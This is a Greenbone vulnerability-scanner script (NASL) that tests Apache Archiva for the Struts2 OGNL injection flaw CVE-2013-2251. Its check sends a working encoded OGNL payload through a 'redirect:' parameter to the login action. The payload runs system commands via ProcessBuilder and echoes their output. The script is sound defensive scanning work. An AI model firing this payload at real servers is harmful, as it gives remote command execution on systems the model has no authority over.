Apache Archiva Multiple RCE Vulnerabilities

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:archiva";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103883");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2013-2251");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_version("2024-06-28T15:38:46+0000");

  script_name("Apache Archiva Multiple RCE Vulnerabilities");


  script_xref(name:"URL", value:"http://cxsecurity.com/issue/WLB-2014010087");
  script_xref(name:"URL", value:"http://struts.apache.org/release/2.3.x/docs/s2-016.html");

  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2014-01-15 18:13:42 +0100 (Wed, 15 Jan 2014)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_dependencies("gb_apache_archiva_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("apache_archiva/installed");

  script_tag(name:"impact", value:"Successful exploits will allow remote attackers to execute arbitrary
commands within the context of the affected application.");
  script_tag(name:"vuldetect", value:"Send a special crafted HTTP GET request and check the response.");
  script_tag(name:"insight", value:"Apache Archiva use Apache Struts2:
'In Struts 2 before 2.3.15.1 the information following 'action:', 'redirect:' or
'redirectAction:' is not properly sanitized. Since said information will be evaluated as
OGNL expression against the value stack, this introduces the possibility to inject server
side code.'");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"summary", value:"Apache Archiva is prone to multiple remote command execution
  (RCE) vulnerabilities.");
  script_tag(name:"affected", value:"Apache Archiva <= 1.3.6");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");


if( ! port = get_app_port(cpe:CPE) ) exit (0);
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit (0);

cmds = exploit_commands();

foreach cmd ( keys( cmds ) )
{
  url = dir +
        '/security/login.action?redirect:' +
        '${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27' +
        cmds[cmd] +
        '%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b)' +
        ',%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23' +
        'matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23' +
        'matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}';

  if( buf = http_vuln_check( port:port, url:url, pattern:cmd, bodyonly:TRUE ) )
  {
    buf = str_replace( string:buf, find:raw_string( 0x00 ), replace:"");
    report = 'It was possible to execute the command "' + cmds[cmd] + '" on the remote\nhost which produces the following output:\n\n' + buf + '\n';
    security_message( port:port, data: report );
    exit (0);
  }
}

exit (99);